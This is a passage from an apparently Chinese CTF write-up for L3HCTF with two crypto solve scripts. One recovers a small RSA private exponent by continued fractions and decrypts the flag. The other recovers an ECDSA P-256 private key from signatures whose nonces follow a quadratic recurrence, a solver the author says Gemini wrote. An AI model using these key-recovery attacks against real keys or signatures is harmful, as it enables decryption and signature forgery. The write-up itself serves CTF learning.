所以首先计算 $N^4$,然后对有理数 $e/N^4$ 进行连分数展开,并遍历其渐近分数。对于每个渐近分数,检查分母的位长度是否为 1021 位(即 $2^{1020} \leq 分母 < 2^{1021}$),随后对每个候选 $d_{small}$,尝试解密。

计算 $c$ 在模 $N$ 下的逆元,将 $m$ 转换为字节序列,检查是否包含 “L3H"的内容。

from sage.all import *
import binascii

N = 99697845285265879829811232968100099666254250525000506525475952592468738395250956460890611762459685140661035795964867321445992110528627232335703962897072608767840783176553829502743629914407970206513639916759403399986924602596286330464348286080258986075962271511105387188070309852907253486162504945490429185609
e = 74900336437853271512557457581304251523854378376434438153117909482138661618901386551154807447783262736408028580620771857416463085746907317126876189023636958838207330193074215769008709076254356539808209005917645822989554532710565445155350102802675594603406077862472881027575871589046600011223990947361848608637247276816477996863812313225929441545045479384803449990623969591150979899801722841101938868710054151839628803383603849632857020369527380816687165487370957857737696187061619496102857237814447790678611448197153594917852504509869007597997670022501500067854210261136878917620198551551460145853528269270832725348151160651020188255399136483482428499340574623409209151124687319668989144444549871527949104436734300277004316939985015286758651969045396343970037328043635061226100170529991733947365830164811844853806681198818875837903563263114249814483901121700854712406832325690101810786429930813776784979083590353027191492894890551838308899148551566437532914838098811643805243593419063566975400775134981190248113477610235165151367913498299241375039256652674679958159505112725441797566678743542054295794919839551675786573113798857814005058856054462008797386322048089657472710775620574463924678367455233801970310210504653908307254926827
c = 98460941530646528059934657633016619266170844887697553075379408285596784682803952762901219607460711533547279478564732097775812539176991062440097573591978613933775149262760936643842229597070673855940231912579258721734434631479496590694499265794576610924303262676255858387586947276246725949970866534023718638879

N4 = N**4

alpha = e / N4

cf = continued_fraction(alpha)
convergents = cf.convergents()

for conv in convergents:
    k_candidate = conv.numerator()
    d_small_candidate = conv.denominator()
    
    if d_small_candidate >= 2**1020 and d_small_candidate < 2**1021:
        try:
            # Decrypt
            c_inv = inverse_mod(c, N)
            m = pow(c_inv, d_small_candidate, N)
            
            m_bytes = int(m).to_bytes((m.bit_length() + 7) // 8, 'big')
            
            if b'L3H' in m_bytes:
                print("Flag found:", m_bytes.decode())
                break
        except:
            continue

else:
    print("Flag not found. Try more convergents or check the approach.")

img

EzECDSA

简单的密码题,把附件丢给gemini然后给出解题脚本即可,一次可能不行,让他修改优化即可

img

import hashlib
from ecdsa import NIST256p
from collections import defaultdict


def mod_inverse(a, m):
    """
    计算 a 模 m 的乘法逆元。
    使用扩展欧几里得算法。
    """
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    return x % m


def egcd(a, b):
    """
    扩展欧几里得算法。
    返回 g, x, y 使得 a*x + b*y = g = gcd(a, b)。
    """
    if a == 0:
        return b, 0, 1
    g, y, x = egcd(b % a, a)
    return g, x - (b // a) * y, y


def clean_poly(p):
    """
    移除多项式列表开头多余的零,使其规范化。
    """
    if len(p) > 1 and p[0] == 0:
        idx = 0
        while idx < len(p) - 1 and p[idx] == 0:
            idx += 1
        return p[idx:]
    return p


def poly_add(p1, p2, m):
    """
    将两个多项式 p1 和 p2 相加,模 m。
    多项式表示为系数列表,从最高次幂到最低次幂。
    例如,[a, b, c] 代表 ax^2 + bx + c。
    """
    d1 = len(p1)
    d2 = len(p2)
    res = [0] * max(d1, d2)
    for i in range(d1):
        res[i + max(d1, d2) - d1] = (p1[i] + res[i + max(d1, d2) - d1]) % m
    for i in range(d2):
        res[i + max(d1, d2) - d2] = (p2[i] + res[i + max(d1, d2) - d2]) % m
    return clean_poly(res)


def poly_sub(p1, p2, m):
    """
    将多项式 p2 从 p1 中减去,模 m。
    """
    d1 = len(p1)
    d2 = len(p2)
    res = list(p1)
    if d1 < d2:
        res = [0] * (d2 - d1) + res

    for i in range(d2):
        res[len(res) - d2 + i] = (res[len(res) - d2 + i] - p2[i] + m) % m

    return clean_poly(res)


def poly_mul(p1, p2, m):
    """
    将两个多项式 p1 和 p2 相乘,模 m。
    """
    d1 = len(p1)
    d2 = len(p2)
    res = [0] * (d1 + d2 - 1)
    for i in range(d1):
        for j in range(d2):
            res[i + j] = (res[i + j] + p1[i] * p2[j]) % m
    return clean_poly(res)


def poly_div(dividend, divisor, m):
    """
    执行多项式除法(带余数),模 m。
    返回 (商, 余数)。
    假定除数的最高次系数是可逆的。
    """
    dividend = list(dividend)  # 复制以避免修改原始列表
    divisor = list(divisor)

    dividend = clean_poly(dividend)
    divisor = clean_poly(divisor)

    deg_dend = len(dividend) - 1
    deg_div = len(divisor) - 1

    if deg_div < 0:
        raise ValueError("Divisor cannot be a zero polynomial")

    if deg_div > deg_dend:
        return [0], dividend

    lc_div = divisor[0]
    lc_inv = mod_inverse(lc_div, m)

    quotient = [0] * (deg_dend - deg_div + 1)
    remainder = list(dividend)

    for i in range(deg_dend - deg_div + 1):
        # 得到当前余数的最高次系数
        lc_rem = remainder[i]

        # 计算商的当前项
        q_term = (lc_rem * lc_inv) % m
        quotient[i] = q_term

        # 从余数中减去除数乘以商项的结果
        for j in range(deg_div + 1):
            term = (q_term * divisor[j]) % m
            remainder[i + j] = (remainder[i + j] - term + m) % m

    # 规范化商和余数
    remainder = clean_poly(remainder[len(quotient):])
    quotient = clean_poly(quotient)

    return quotient, remainder


def poly_gcd(p1, p2, m):
    """
    使用欧几里得算法计算两个多项式在 Z_m 上的 GCD。
    """
    a = p1
    b = p2

    while any(x != 0 for x in b):
        _, r = poly_div(a, b, m)
        a = b
        b = r

    # 规范化多项式,使最高次系数为 1
    if any(x != 0 for x in a):
        lc_inv = mod_inverse(a[0], m)
        a = [(x * lc_inv) % m for x in a]

    return a


def main():
    # 1. 定义曲线和阶数
    curve = NIST256p
    n = curve.order

    # 2. 解析 signatures.txt
    h_values = []
    r_values = []
    s_values = []

    # 使用提供的文件内容
    content = """h: 5832921593739954772384341732387581797486339670895875430934592373351528180781, r: 78576287416983546819312440403592484606132915965726128924031253623117138586396, s: 108582979377193966287732302562639670357586761346333866965382465209612237330851
h: 85517239535736342992982496475440962888226294744294285419613128065975843025446, r: 60425040031360920373082268221766168683222476464343035165195057634060216692194, s: 27924509924269609509672965613674355269361001011362007412205784446375567959036
h: 90905761421138489726836357279787648991884324454425734512085180879013704399530, r: 75779605492148881737630918749717271960050893072832415117470852442721700807111, s: 72740499400319841565890543635298470075267336863033867770902108413176557795256
h: 103266614372002123398101167242562044737358751274736728792365384600377408313142, r: 89519601474973769723244654516140957004170211982048028366151899055366457476708, s: 23639647021855356876198750083669161995553646511611903128486429649329358343588
h: 9903460667647154866199928325987868915846235162578615698288214703794150057571, r: 17829304522948160053211214227664982869100868125268116260967204562276608388692, s: 74400189461172040580877095515356365992183768921088660926738652857846750009205
h: 54539896686295066164943194401294833445622227965487949234393615233511802974126, r: 66428683990399093855578572760918582937085121375887639383221629490465838706027, s: 25418035697368269779911580792368595733749376383350120613502399678197333473802
"""

    lines = content.strip().split('\n')
    for line in lines:
        parts = line.split(', ')
        h = int(parts[0].split(': ')[1])
        r = int(parts[1].split(': ')[1])
        s = int(parts[2].split(': ')[1])
        h_values.append(h)
        r_values.append(r)
        s_values.append(s)

    # 3. 将 k_i 表示为关于 d 的线性多项式
    k_polys = []
    for i in range(6):
        s_inv = mod_inverse(s_values[i], n)
        A = (h_values[i] * s_inv) % n
        B = (r_values[i] * s_inv) % n
        # [B, A] 代表 B*d + A
        k_polys.append([B, A])

    # 4. 从递推关系中构造多项式方程
    # 递推关系为:k_{i+1} = a*k_i^2 + b*k_i + c
    # 通过消去 a, b, c,我们可以得到一个只依赖于 d 的多项式方程
    # 方程形式为: a(k_2-k_0)(k_2-k_1)(k_1-k_0) = (k_3-k_2)(k_1-k_0) - (k_2-k_1)^2
    # 我们将左边和右边分别表示为关于 d 的多项式,并使用两组不同的 k 值来得到两个多项式方程。

    def get_poly_for_a_numerator(k_p0, k_p1, k_p2, k_p3):
        # 分子: (k_3 - k_2)*(k_1 - k_0) - (k_2 - k_1)^2
        p32 = poly_sub(k_p3, k_p2, n)
        p10 = poly_sub(k_p1, k_p0, n)
        p21 = poly_sub(k_p2, k_p1, n)

        num_part1 = poly_mul(p32, p10, n)
        num_part2 = poly_mul(p21, p21, n)
        return poly_sub(num_part1, num_part2, n)

    def get_poly_for_a_denominator(k_p0, k_p1, k_p2):
        # 分母: (k_2 - k_0)*(k_2 - k_1)*(k_1 - k_0)
        p20 = poly_sub(k_p2, k_p0, n)
        p21 = poly_sub(k_p2, k_p1, n)
        p10 = poly_sub(k_p1, k_p0, n)

        den_part1 = poly_mul(p20, p21, n)
        return poly_mul(den_part1, p10, n)

    # 得到第一组方程:a(k0..k3) = a(k1..k4)
    num1 = get_poly_for_a_numerator(k_polys[0], k_polys[1], k_polys[2], k_polys[3])
    den1 = get_poly_for_a_denominator(k_polys[0], k_polys[1], k_polys[2])

    num2 = get_poly_for_a_numerator(k_polys[1], k_polys[2], k_polys[3], k_polys[4])
    den2 = get_poly_for_a_denominator(k_polys[1], k_polys[2], k_polys[3])

    # 方程为 num1*den2 - num2*den1 = 0
    poly1 = poly_sub(poly_mul(num1, den2, n), poly_mul(num2, den1, n), n)

    # 得到第二组方程:a(k1..k4) = a(k2..k5)
    num3 = get_poly_for_a_numerator(k_polys[2], k_polys[3], k_polys[4], k_polys[5])
    den3 = get_poly_for_a_denominator(k_polys[2], k_polys[3], k_polys[4])

    # 方程为 num2*den3 - num3*den2 = 0
    poly2 = poly_sub(poly_mul(num2, den3, n), poly_mul(num3, den2, n), n)

    # 5. 计算两个多项式的最大公约数(GCD)
    gcd_poly = poly_gcd(poly1, poly2, n)

    # 6. 从 GCD 中提取根
    # GCD 应该是一个一次多项式,形如 c1*d + c0
    if len(gcd_poly) == 2:
        c1 = gcd_poly[0]
        c0 = gcd_poly[1]

        # d = -c0 * c1_inv mod n
        c1_inv = mod_inverse(c1, n)
        d = (-c0 * c1_inv) % n

        print(f"Private key d found: {d}")
        print(f"Flag: L3HCTF{{{d}}}")
    else:
        print("Failed to find a linear GCD polynomial. Something went wrong.")


if __name__ == '__main__':
    main()